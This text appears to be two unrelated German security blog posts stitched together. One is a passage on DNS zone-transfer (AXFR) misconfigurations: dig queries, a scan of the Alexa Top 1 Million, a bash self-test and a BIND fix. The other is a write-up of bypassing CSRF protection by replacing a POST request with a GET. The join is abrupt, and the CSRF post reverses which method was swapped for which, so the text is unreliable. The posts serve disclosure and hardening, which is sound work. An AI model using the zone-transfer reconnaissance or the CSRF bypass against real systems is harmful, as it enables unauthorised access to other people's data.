google.com.                21599        IN        NS        ns1.google.com.
google.com.                21599        IN        NS        ns4.google.com.

Wir fragen zunächst Informationen über die Namenserver von google.com an. Es gibt vier Namenserver, welche jeweils für die Domain Anfragen entgegennehmen.

1
2
3
4
5
6
7
8
9
10
11
12
13

> dig A google.com @ns4.google.com
;; ANSWER SECTION:
google.com.                300        IN        A        173.194.32.196
google.com.                300        IN        A        173.194.32.201
google.com.                300        IN        A        173.194.32.198
google.com.                300        IN        A        173.194.32.199
google.com.                300        IN        A        173.194.32.194
google.com.                300        IN        A        173.194.32.193
google.com.                300        IN        A        173.194.32.200
google.com.                300        IN        A        173.194.32.206
google.com.                300        IN        A        173.194.32.195
google.com.                300        IN        A        173.194.32.192
google.com.                300        IN        A        173.194.32.197

Nun haben wir den vierten Namenserver (ns4.google.com) per Anfrage darum gebeten uns alle A (IPv4) Einträge aufzulisten. Diese Einträge verweisen allesamt auf google.com.

Das gleiche Vorgehen lässt sich auch auf andere Anfragemethoden von DNS (AAA/TXT/MX/CNAME/…) übertragen. Dazu ist jedoch stets die Kenntnis der DNS Einträge von Nöten. Es ist beispielsweise nicht möglich eine Anfrage wie: “Liste mir alle Subdomains von google.com in deiner Zone” auszuführen. Es gibt allerdings Tools, etwa Subbrute welche durch ausprobieren (bruteforcing) DNS Einträge erraten.

Aus dem Aspekt der Sicherheit sind die erlangten Informationen sehr viel wert, da dadurch mögliche Endpunkte gefunden werden können, die ungeschützt oder sogar verwundbar sind.

Zum Beispiel könnten Monitoring-Systeme unter der Subdomain “`monitoring.internal.server1.domain.tld““ oder jeder beliebigen anderen gefunden werden. Einige Admins gehen vielleicht davon aus, dass eine zusätzliche Schutzmaßnahme mittels Autorisierung nicht von Nöten sei, da niemand die Subdomain kennt, allerdings ist das, wie wir nun wissen, weit gefehlt.

Wenn einer der Namensserver falsch konfiguriert ist, kann der Angreifer eine AXFR-Anfrage schicken, die gesamten Zoneninformationen sammeln und dadurch möglicherweise Zugriff auf das Zielsystem erlangen.

Testen der Alexa Top 1 Million

Wir wollten wissen, wie viele falsch konfigurierte Namensserver sich wohl unter den Alexa Top 1 Million befinden und haben dazu ein kleines Pythonskript implementiert, welches auf GitHub zu finden ist.

Das Ergebnis war ein wenig erstaunlich:

• 132854 erfolgreiche AXFR Anfragen konnten durchgeführt werden
• 72401 einzelne Domain waren betroffen
• 48448 einzelne Namesserver waren betroffen

Einige Domains hatten sogar gleich mehere fehlkonfigurierte Namensserver, das ist möglich da Namesserver mehrere Domains verwalten können und umgekehrt auch eine Domain-Zone auf mehreren Nameservern (z.B. Master und Slave-Server) liegen kann.

Im Schnitt hat dennoch jede 20te Webseite der Alexa Top 1 Millionen einen fehlerhaft konfigurierten Webserver.

TLDs nach betroffenen Domains:

TLDs nach betroffenen Namensservern:

Wir waren sehr enttäuscht darüber, dass einige recht bekannte und auch weniger bekannte Webhoster und IT-Unternehmen fehlerhaft konfigurierte Namensserver produktiv betreiben. Einige zufällige Stichproben haben gezeigt, dass sowohl Informationen der Unternehmen als auch die der Kunden dadurch ohne weitere Autorisierung zugänglich waren. (Genau wie im oben beschriebenen Szenario).

Die sonstigen Webseiten wiesen verschiedene Themen auf, von einigen (großen) Nachrichtenseiten über Shopping Seiten bis zu hin kleinen privaten Webseiten war alles dabei.

Behebung der Schwachstelle

Der einfachste Weg diese Schwachstelle zu beheben ist eine Überprüfung der DNS Server Konfiguration. Es muss sichergestellt sein, nur sekundäre Nameserver vom primären Nameserver AXFR durchführen können und dass die ungeordneten Server keine AXFR erlauben.

Wenn Sie überprüfen möchten, ob ihre Nameserver falsch konfiguriert sind, dann können sie den folgenden Bash-Einzeiler nutzen:

1
2
3
4

#!/bin/bash
# You need to have dnsutils installed
DOMAIN="YOURDOMAIN.TLD"
dig NS $DOMAIN +short | sed -e "s/\.$//g" | while read nameserver; do echo "Testing $DOMAIN @ $nameserver"; dig AXFR $DOMAIN "@$nameserver"; done

Wenn man die Bash nicht bemühen möchte, dann kann man auf die folgende Webseite zurückgreifen: https://hackertarget.com/zone-transfer/

Wir empfehlen jedem Admin der jetzt vielleicht etwas ins Nachdenken kommt es selbst einmal zu testen.

Wenn Sie für alle Nameserver folgendes als Ausgabe erhalten, dann sind Sie auf der sicheren Seite:

1

; Transfer failed

Andernfalls sollten Sie die DNS-Konfiguration überprüfen. Falls Sie den weit verbreiteten DNS-Server BIND nutzen, dann lassen sich AXFRs wie folgt auf bestimmte IPs beschränken:

1

allow-transfer { 192.168.1.1; };

Wobei 192.168.1.1 die IP des sekundären Servers ist.

Zusammenfassung

Es ist interessant und gewissermaßen erstaunlich, dass sich bis heute so viele fehlerhaft konfigurierte Server finden lassen. Da das Thema in den 1990er Jahren umfassend in der Fachwelt diskutiert wurde sind wir eigentlich davon ausgegangen auf kaum verwundbare Server zu stoßen.

Das Problem wurde vom US-CERT aufgegriffen, was zu einem von zwölf Alerts im Jahr 2015 führte.

Soweit so gut,

Das Team der Internetwache.org

Updates

• #1: 29/03/2015: URL des Webdienstes geändert. Behebungsmöglichkeit für den BIND hinzugefügt.
• #2: 08/01/2016: URL zum Alert des US Cert hinzugefügt

Die Webapplikation nutzte Formulare, welche die eingegebenen Daten mit einem POST Request übermittelten:

1
2
3
4
5
6
7
8
9
10

POST /settings.php?save=1&email=foobar@test.com HTTP/1.1
Host: www.HOST.com
Connection: keep-alive
Content-Length: 150
Origin: https://HOST.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [Cookies]

CSRFToken[token]=ac1bbdd8b6dd23f780f3594a6d02f62624f2ef430c464f7ddec617728a2999bf&CSRFToken[time]=1423073667737&CSRFToken[URI]=/settings

Wie man der Anfrage entnehmen kann, wurden mehrere CSRF Schutzmaßnahmen genutzt:

• Origin-header
• X-Requested-With-header
• Content-Type-header
• CSRFToken[token], CSRFToken[time]-parameters

Der einfachste Weg die CSRF Schutzmaßnahmen zu testen ist natürlich, die einzelen Parameter des Schutzes (etwa das CSRF Token) aus dem Request zu entfernen und zu überprüfen, ob die Änderungen zurückgewiesen oder zugelassen werden. Werden sie zugelassen, so ist die Applikation verwundbar, wenn sie zurückgewiesen werden, ist der Schutz korrekt implementiert und es besteht zumindest auf diese Weise keine Gefahr.

Die Webapplikation erkannte die Änderung und verweigerte die Speicherung der Daten, an Aufgeben ist aber dennoch nicht zu denken.

Wie kommt man dennoch weiter?

In der URL befindet sich der zu ändernde Parameter (email) - das sollte einen misstrauisch stimmen: Wieso sollten diese Daten in der URL enthalten sein, wenn die Abfrage über die POST Methode von statten geht?

Also es einfach mit mit folgender Abfrage, in der die Methode von GET auf POST geändert wurde, erneut versucht.

1
2
3

GET /settings.php?save=1&email=foobar@test.com HTTP/1.1
Host: www.HOST.com
Cookie: [Cookies]

Das ist eine simple GET-Anfrage und sie funktionierte. Es also möglich die CSRF Schutzmaßnahme zu umgehen.

Was lernen wir daraus?

• Versuche kreativ zu sein und probiere verschiedene Methoden aus (etwa Wechsel der Abfrageart)
• Und wie immer: Vertraue niemals blind den Eingaben des Nutzers ;)

Viele Grüße,

Das Team der internetwache.org